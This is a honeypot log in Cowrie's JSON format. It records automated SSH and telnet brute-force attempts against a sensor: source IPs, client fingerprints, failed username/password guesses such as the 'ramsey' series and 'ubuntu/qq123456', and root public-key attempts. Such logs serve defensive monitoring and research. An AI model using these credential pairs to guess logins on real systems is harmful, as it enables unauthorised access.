{"eventid":"cowrie.login.failed","username":"kafka","password":"P@ssw0rd","message":"login attempt [kafka/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:12.399574Z","src_ip":"43.173.69.147","session":"bee8a2bc4c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:13.471821Z","src_ip":"43.173.69.147","session":"bee8a2bc4c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57058,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fc33ec00ce3","protocol":"ssh","message":"New connection: 2.57.122.208:57058 (159.203.135.109:22) [session: 4fc33ec00ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:14.923925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:15.135131Z","src_ip":"2.57.122.208","session":"4fc33ec00ce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:15.139748Z","src_ip":"2.57.122.208","session":"4fc33ec00ce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:16.225643Z","src_ip":"2.57.122.208","session":"4fc33ec00ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:18.164861Z","src_ip":"2.57.122.208","session":"4fc33ec00ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.437806367874146,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:30.844093Z","src_ip":"135.148.33.91","session":"b09d2be54798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":58821,"dst_ip":"10.17.0.5","dst_port":22,"session":"a54d3219af40","protocol":"ssh","message":"New connection: 213.209.159.56:58821 (10.17.0.5:22) [session: a54d3219af40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:44.471251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:44.481670Z","src_ip":"213.209.159.56","session":"a54d3219af40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:44.563948Z","src_ip":"213.209.159.56","session":"a54d3219af40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramsey","password":"ramsey","message":"login attempt [ramsey/ramsey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:45.088111Z","src_ip":"213.209.159.56","session":"a54d3219af40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramsey","password":"ramsey1","message":"login attempt [ramsey/ramsey1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:46.172735Z","src_ip":"213.209.159.56","session":"a54d3219af40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":50676,"dst_ip":"10.17.0.5","dst_port":22,"session":"facafb90782a","protocol":"ssh","message":"New connection: 101.36.106.162:50676 (10.17.0.5:22) [session: facafb90782a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:47.183282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:47.187470Z","src_ip":"101.36.106.162","session":"facafb90782a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramsey","password":"ramsey123","message":"login attempt [ramsey/ramsey123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:47.257403Z","src_ip":"213.209.159.56","session":"a54d3219af40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:47.404569Z","src_ip":"101.36.106.162","session":"facafb90782a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qq123456","message":"login attempt [ubuntu/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:48.307932Z","src_ip":"101.36.106.162","session":"facafb90782a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramsey","password":"ramsey1234","message":"login attempt [ramsey/ramsey1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:48.342741Z","src_ip":"213.209.159.56","session":"a54d3219af40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ramsey","password":"ramsey12345","message":"login attempt [ramsey/ramsey12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:49.427026Z","src_ip":"213.209.159.56","session":"a54d3219af40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:49.528649Z","src_ip":"101.36.106.162","session":"facafb90782a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:50.511997Z","src_ip":"213.209.159.56","session":"a54d3219af40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":44024,"dst_ip":"159.203.135.109","dst_port":22,"session":"98c6cf6c8f1a","protocol":"ssh","message":"New connection: 201.6.100.191:44024 (159.203.135.109:22) [session: 98c6cf6c8f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:52.708515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:52.713407Z","src_ip":"201.6.100.191","session":"98c6cf6c8f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:52.848282Z","src_ip":"201.6.100.191","session":"98c6cf6c8f1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"12344321","message":"login attempt [ali/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:53.395554Z","src_ip":"201.6.100.191","session":"98c6cf6c8f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:54.529560Z","src_ip":"201.6.100.191","session":"98c6cf6c8f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.222.235.204","src_port":50410,"dst_ip":"10.17.0.5","dst_port":22,"session":"8847be9bd798","protocol":"ssh","message":"New connection: 31.222.235.204:50410 (10.17.0.5:22) [session: 8847be9bd798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:35.028417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:35.032529Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:35.157148Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:58:e2:42:86:c3:09:69:40:13:af:b5:d0:01:50:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsdEf7Ytuspc+EQgHyxFYuStaqxcYfXdJg3LZ19F1emtBmipbHj6Ac2uBP76l/7b2fKM8pOe/zjcrbvy4ZDOUQ7Ldn9AJEZaT+HvvcpFa7wPk0FNviZOJ10GdR65oPxzHKRDvvr4lUNtO8oI9FW17dpT/oLqNxbbSLjs10VhNRClqk/5uo92z3ZJt6/oX8t1YNBfeJVqS3ECay5dAJ+K0ZF2e2u/bISb4tfDdj1bdohffV3aaRrJxLKTkwro08EunCIGJJrrk2Jo85ttwBZumQb9VqbfYO5tVfCu4Sbho45WFEr4rumrdJ7AmQGqDUW3Q6CyjwekVIvbLJD5jkGbFuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:58:e2:42:86:c3:09:69:40:13:af:b5:d0:01:50:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:35.727992Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:58:e2:42:86:c3:09:69:40:13:af:b5:d0:01:50:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsdEf7Ytuspc+EQgHyxFYuStaqxcYfXdJg3LZ19F1emtBmipbHj6Ac2uBP76l/7b2fKM8pOe/zjcrbvy4ZDOUQ7Ldn9AJEZaT+HvvcpFa7wPk0FNviZOJ10GdR65oPxzHKRDvvr4lUNtO8oI9FW17dpT/oLqNxbbSLjs10VhNRClqk/5uo92z3ZJt6/oX8t1YNBfeJVqS3ECay5dAJ+K0ZF2e2u/bISb4tfDdj1bdohffV3aaRrJxLKTkwro08EunCIGJJrrk2Jo85ttwBZumQb9VqbfYO5tVfCu4Sbho45WFEr4rumrdJ7AmQGqDUW3Q6CyjwekVIvbLJD5jkGbFuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:35.731753Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:a2:86:21:dc:38:e4:76:b2:84:00:72:5d:67:d7:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv49/D4f3y2FBQZLbRuMJM0uFuTLJECOZqkjODT7I2MOgkR7Yj6EMoGzyQgAzdzmCIWqY1vVS/Ccp0UqvqeW3ebLxTnb2TKXT2Iz+0PCPqxX+SYZ/kU8xboCnZ+D8sqGgex7aRxO5QA1E4svdOJEdwjUaBENTKPj7BygukarqY3oi80wCyQRznxmKOIhazgVUMVFS3Z5T+uzxyb5XIXm72RM/BZ6tWlWSjJR16cFtf+/Pg7JT4ahBS2Z8ZzOBNbjumKN/8+KK97jzPq7vKS3opPYdBbXYADMQxMDAboSiV6fH2eZgtyNviLULL3MwQ44WbDqpmJlOuCfbmM0Fp7BlJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:a2:86:21:dc:38:e4:76:b2:84:00:72:5d:67:d7:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:35.850194Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:a2:86:21:dc:38:e4:76:b2:84:00:72:5d:67:d7:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv49/D4f3y2FBQZLbRuMJM0uFuTLJECOZqkjODT7I2MOgkR7Yj6EMoGzyQgAzdzmCIWqY1vVS/Ccp0UqvqeW3ebLxTnb2TKXT2Iz+0PCPqxX+SYZ/kU8xboCnZ+D8sqGgex7aRxO5QA1E4svdOJEdwjUaBENTKPj7BygukarqY3oi80wCyQRznxmKOIhazgVUMVFS3Z5T+uzxyb5XIXm72RM/BZ6tWlWSjJR16cFtf+/Pg7JT4ahBS2Z8ZzOBNbjumKN/8+KK97jzPq7vKS3opPYdBbXYADMQxMDAboSiV6fH2eZgtyNviLULL3MwQ44WbDqpmJlOuCfbmM0Fp7BlJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:35.853591Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:1b:ac:ea:91:c4:62:55:ee:ef:c8:c1:97:a2:af:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+S60BBCwD4yirJUqSkBPLlKyKlOBV3zyEMlBUhuXGT2tXrMSYBaANLXNTYnUxQZh5u064NPFd2bYWm0tHw1EYZHfT7D8BBmGODUHTYmX655zqqKwrzashMom6YSq3DH4YndmI+6DxV3fbs7yDjtTQ40v4Mbj6KKTRdIBf6okMOBpToSR2S6gYxNgLnxWqv9ABLhI1PBtG+uBeFdajnmeelQIVP1G8Gl81gJgKKZN4gqICc8Nc2NdyAXaf/zpSyMI2+2MuhhY6XljbCc2j67jtVrxA8fU1MMpdyEtxFutLA1thQbj3SV2GJfqJMyE2fh909av7q/xfCT2sYiNJATyx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:1b:ac:ea:91:c4:62:55:ee:ef:c8:c1:97:a2:af:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:35.971751Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:1b:ac:ea:91:c4:62:55:ee:ef:c8:c1:97:a2:af:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+S60BBCwD4yirJUqSkBPLlKyKlOBV3zyEMlBUhuXGT2tXrMSYBaANLXNTYnUxQZh5u064NPFd2bYWm0tHw1EYZHfT7D8BBmGODUHTYmX655zqqKwrzashMom6YSq3DH4YndmI+6DxV3fbs7yDjtTQ40v4Mbj6KKTRdIBf6okMOBpToSR2S6gYxNgLnxWqv9ABLhI1PBtG+uBeFdajnmeelQIVP1G8Gl81gJgKKZN4gqICc8Nc2NdyAXaf/zpSyMI2+2MuhhY6XljbCc2j67jtVrxA8fU1MMpdyEtxFutLA1thQbj3SV2GJfqJMyE2fh909av7q/xfCT2sYiNJATyx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:35.975534Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:5f:78:3e:1a:88:46:ce:d8:f3:30:0b:11:57:58:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKpfrJze5ydEuMc4gtfpNh5QnHVYl/nV244zCLWPADyCJTwRsAXCWysCQgoLk7GvtuVU0z7elKkLwJjVsjw7EhPsj5+7kTqexrditdCU06ldGEN4djVHsksMbc45rJ/dAyAjSUivt5aimCzU60TNgtp09vWDttpM9hNwv6/QUKzQYgvMDuGkPIEVk3gMt0xrAaJdcRItpZTOpT63+3DnY7GBLkegh4yzK2tjVbkODZgReFd/8GpFl0tC/9CDhlqno6a/1bJZM+jE81O+2JT20lR/zsc6ZznsacFZnmAQ6/4b60zQAygPiq4UinIjx5T8qyVWgggKL0a/IXXPt7hBBN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:5f:78:3e:1a:88:46:ce:d8:f3:30:0b:11:57:58:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:36.095230Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:5f:78:3e:1a:88:46:ce:d8:f3:30:0b:11:57:58:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKpfrJze5ydEuMc4gtfpNh5QnHVYl/nV244zCLWPADyCJTwRsAXCWysCQgoLk7GvtuVU0z7elKkLwJjVsjw7EhPsj5+7kTqexrditdCU06ldGEN4djVHsksMbc45rJ/dAyAjSUivt5aimCzU60TNgtp09vWDttpM9hNwv6/QUKzQYgvMDuGkPIEVk3gMt0xrAaJdcRItpZTOpT63+3DnY7GBLkegh4yzK2tjVbkODZgReFd/8GpFl0tC/9CDhlqno6a/1bJZM+jE81O+2JT20lR/zsc6ZznsacFZnmAQ6/4b60zQAygPiq4UinIjx5T8qyVWgggKL0a/IXXPt7hBBN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:10:36.098873Z","src_ip":"31.222.235.204","session":"8847be9bd798","protocol":"ssh"}
